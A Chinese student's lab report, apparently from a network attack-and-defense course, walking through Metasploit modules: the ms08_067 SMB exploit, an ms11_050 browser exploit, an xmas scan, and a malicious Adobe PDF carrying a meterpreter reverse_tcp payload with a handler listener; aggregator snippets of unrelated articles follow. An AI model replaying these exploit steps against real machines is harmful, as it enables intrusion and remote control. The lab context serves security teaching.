当前位置: 首页 > 编程日记 > 正文

20145240《网络对抗》MSF基础应用

MSF基础应用

一个主动攻击,如ms08_067

  • 启动msf

  • search ms08_067,查找相应的漏洞,查询可攻击的模块。

889914-20170413164258033-542626289.png

  • 根据上述漏洞的模块use exploit/windows/smb/ms08_067_netapi选择该模块

  • 接下来查看相应的攻击载荷,首先我们可以查看可使用的载荷

889914-20170413165049517-39689574.png

  • 想要获取靶机的shell,所以可以选择以上攻击载荷

  • 先查看 options 发现需要设置的信息

889914-20170413192712064-1701596835.png

  • 设置攻击主机ip(LHOST)、远程主机ip(RHOST)以及设置相应平台的编号:set target 0

889914-20170413192839423-473422729.png

  • 发起渗透攻击,exploit,成功

889914-20170413194702876-743789174.png

一个针对浏览器的攻击,如ms11_050

  • 查找相关漏洞信息

889914-20170413213516548-1912770426.png

  • 找到模块后,可以通过info指令查看模块详细信息

889914-20170413214318298-1655126422.png

  • 设置如下信息

889914-20170413220050767-1054126982.png

  • 在浏览器输入以下信息 http://192.168.11.128:8080/ms11050

889914-20170413220637923-967598469.png

  • 回头看 发现试了很多次

889914-20170413220830095-612552126.png

成功应用任何一个辅助模块——xmas

  • 一种更为隐蔽的扫描方式,通过发送FIN,PSH,URG标志能够躲避一些TCP标记检测器的过滤。

  • 端口扫描分为TCP SYN、TCP connect、秘密扫描、以及其他扫描,xmas属于端口扫描中的秘密扫描的一种。

  • 先查看需要设置的信息

889914-20170414152305314-770948341.png

  • 设置端口及RHOST,限制了端口1—100

889914-20170414153043033-1850453148.png

  • run发现,open | filtered 无法确定端受限口是开放还是被防火墙设置成被过滤, 可能开放的端口不响应。

889914-20170414153226408-1288015947.png

  • XMAS扫描原理和NULL扫描的类似,将TCP数据包中的ACK、FIN、RST、SYN、URG、PSH标志位置1后发送给目标主机。在目标端口开放的情况下,目标主机将不返回任何信息。

一个针对客户端的攻击,如Adobe

  • 首先设置显示隐藏文件夹

  • 输入命令use exploit/windows/fileformat/adobe_cooltype_sing,进入该漏洞模块的使用。

  • 使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。

889914-20170414154958533-426613558.png

  • 设置 FILENAME 、LPORT、LHOST

889914-20170414155258798-1228043487.png

  • 输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。

889914-20170414155446017-1154912844.png

  • 使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块。设置相同的端口如上。

889914-20170414160123861-932296338.png

  • 使用命令exploit开始攻击,在xp中打开pdf。

889914-20170414160418892-158875763.png

  • 成功。第一次由于超时未响应,所以失败了。第二次就OK了。

889914-20170414161140845-1248460089.png

  • 可在靶机中查看链接,发现连接信息。

889914-20170414161202064-1591276005.png

实验后回答问题

  • 什么是exploit?

exploit就是背着payload去攻击,起到运载作用

  • 什么是payload?

payload则为攻击负荷

  • 什么是encode?

encode为编码器,使其得到伪装,防止被查杀,打掩护用到的。

实验总结与体会

老师我发誓我写了。。写着写着熄灯了,我还拍照留了证据当时。。因为我怕没保存上。。咋可能不写啊!!!

转载于:https://www.cnblogs.com/20145240lsj/p/6701563.html

相关文章:

StaticFactoryMethod_Level3

以下代码是“简单工厂模式”的第三个例子:

Dynamics CRM 导入用户数据错误 could not retrieve salesperson role

在CRM中通过导入数据的方式创建用户时报下图中的错误,“could not retrieve saleperson role”。原因是系统中的自带的salesperson安全角色被删除了,在用导入数据的方式导入文档新建用户时是没有安全角色让你选择的,系统默认给分派了销售员的…

也许这样叫做成熟

早上想坐早班车来接三日游回来的佳,不料还是比旅游团的车晚一步,不过今天到……小结:1、做事,大事不糊涂,小事灵活受理;2、目标明确,善始善终;3、卧薪尝胆,体味时间的诅咒…

写文章 TEE技术分析【转】

转自:https://zhuanlan.zhihu.com/p/24222064 首先介绍一下TEE的主要关键技术: 1.安全启动(Secure Boot) 安全启动技术可以用于需要防止篡改系统镜像,比如安全系统,安全手机镜像等。 2&#xff…

StaticFactoryMethod_Level4

以下代码是“简单工厂模式”的第四个例子:

jquery 获取Select option 选择的Text和Value

jquery radio取值,checkbox取值,select取值,radio选中,checkbox选中,select选中,及其相关设置 获取一组radio被选中项的值:var item $(input[nameitems][checked]).val();获取select被选中项的文本:var item $("select[nameitems] option[selected]").text(); 获取…

Android -- Annotation(注解)原理详解及常见框架应用

1,我们在上一篇讲到了EventBus源码及3.0版本的简单使用,知道了我们3.0版本是使用注解方式标记事件响应方法的,这里我们就有一个疑问了,为什么在一个方法加上类似于“Subscribe”,就可以让我们的反射找到我们的事件响应…

简单工厂模式(StaticFactoryMethod)

来华北电力大学数理系LSGO软件技术团队学习Coding,我通常第一个就讲“简单工厂模式”,这一讲不仅仅是讲模式,更主要的是让大家体会什么是软件系统的“可复用”、“可扩展”、“易维护”、“灵活性好”,以及如何通过面向对象程序设…

Html,Css,Javascript是什么?

本文属于基础科普文,高富帅们请绕道吧。 Html,css,javascript是做网页前台设计的标准套装,html是一些网页控件,css是美化这些控件的代码(层叠样式表),js(javascript&…

[转帖]ERP术语

栖息谷-IT管理-[转帖]ERP术语 [转帖]ERP术语 1 英文缩写: MIS 英文全称: Management Information System 中文翻译: 管理信息系统 简释: MIS是指对企业大量的原始管理…

how tomcat works 总结 二

第五章 servlet容器 第 5 章讨论 container 模块。container 指的是 org.apache.catalina.Container 接口,有4 种类型的 container:engine, host, context 和 wrapper。这章提供了两个工作于 context 和wrapper 的程序。容器共分四类,类图例如以下:一个wrapper就是一…

策略模式(Strategy)

这是来数理系LSGO软件技术团队学习Coding,第二个要学习的设计模式。该模式在解决同一个问题时可以使用不同的算法。以满足“开闭原则”,把各种算法与实际业务逻辑解耦合,以便写出良好的代码。

[scrum]2011/9/22-----第二天

scrum 总结: Team member Yesterday’s Work Today’s Work Issue R X Task196:Completed xml 文件的解析,并且通过了两个测试用例 Task198:Completed 添加全局变量:当前会议和remind list Task201:Active 基本完成了select …

千千静听4.6.7版发布了

现在这个版本算是很不错的了,提供了相当完善的播放功能 下载: http://ttplayer.com/ttpsetup.exe 转载于:https://www.cnblogs.com/it201108/archive/2006/04/29/2148385.html

Strategy_Requirement1

以下代码是“策略模式”的第一个例子:

代码解说Android Scroller、VelocityTracker

在编写自己定义滑动控件时经常会用到Android触摸机制和Scroller及VelocityTracker。Android Touch系统简单介绍(二):实例具体解释onInterceptTouchEvent与onTouchEvent的调用过程对Android触摸机制须要用到的函数进行了具体的解释。本文主要介绍两个重要…

写给云栖社区在做网站的朋友一点干货

我本人也是从事网站建设及APP开发业务的,工作多年下来,从以前的几百元企业网站,到商城网站,以及一些应用类型的APP开发,亲眼目睹了很多企业,以及很多项目,在应用的过程中,过了1-2年&…

Strategy_Requirement2

以下代码是“策略模式”的第二个例子:

如何启用SQL Server 2008的FILESTREAM特性

如何启用SQL Server 2008的FILESTREAM特性 今天安装SQL Server 2008的时候没有注意,忘记了启用FILESTREAM特性,因为默认情况下FILESTREAM是禁用的。安装完成后,再导入一个.bak的备份数据库时提示FILESTREAM feature is disabled,到…

如何在搜索结果出来之前,让页面显示“等待中。。。”

在当前页面点击搜索按纽后,当前页的button onclick事件会生成一个sql语句,然后转到查询结果页面,由于查询可能很费时间,客户要求在这两个页面中加入一个提示用户正在查询,请等待的页,具体的查询是在查询结果…

Strategy_Level1

以下代码是“策略模式”的第三个例子:

波士顿房价预测学习项目笔记

机器学习入门项目 作为机器学习的入门项目,了解到这个一个监督学习类型的回归问题模型。项目中需要根据已有的数据,构建一个合理的模型对未来的房价可以做出预测。 Udacity机器学习课程针对初学者做了精心地设计,这里来看项目是如何组织的&am…

LINQ之路19:LINQ to XML之X-DOM更新、和Value属性交互

本篇包含两部分内容:X-DOM更新一节中我们会详细讨论LINQ to XML的更新方式,包括Value的更新、子节点和属性的更新、通过Parent节点实现更新; 和Value属性交互一节会详细讨论XElement和XAttribute的Value属性。如果一个元素只有单个XText子节点…

明朝是中国历史上最有骨气的王朝?【ZZ】

linked from http://www.guoxue.com/article/list.asp?id6095明朝是中国历史上最有骨气的王朝?作者: (国学网2006-5-12发布) 有人对明朝极尽污蔑之能事,好象明朝是最不中用的朝代。其实,只要细心比较&am…

马哥第七次作业

系统的INPUT和OUTPUT默认策略为DROP,请完成以下关于iptables的题目;1、限制本地主机的web服务器在周一不允许访问;新请求的速率不能超过100个每秒;web服务器包含了admin字符串的页面不允许访问;web服务器仅允许响应报文…

Strategy_Pattern

以下代码是“策略模式”的第四个例子:

JAVA-基础(Class对象及反射)

JAVA-基础(Class对象及反射) 1.(1)什么是class对象? 首先,java有两种对象,第一种是实例对象,第二种是Class对象,每一个类运行的类型信息就是用Class对象表示的&#xff0…

当年学生的一件事,心情很难过

当年学生的一件事,心情很难过 今天同一个以前的学生聊天,搞得心情很难过。那年是刚毕业,带了几个学生的毕业论文,其中有一个,只是第一次见过一面,最后答辩前见一两天以及答谢见过一面。他从来不同我联系&am…

while循环中,break,continue,return的差别

break 结束循环,跳出循环体;continue 结束本次循环。进行下次循环;return 跳出循环体所在的方法,相当于跳出循环体。

Strategy_Level2

以下代码是“策略模式”的第五个例子: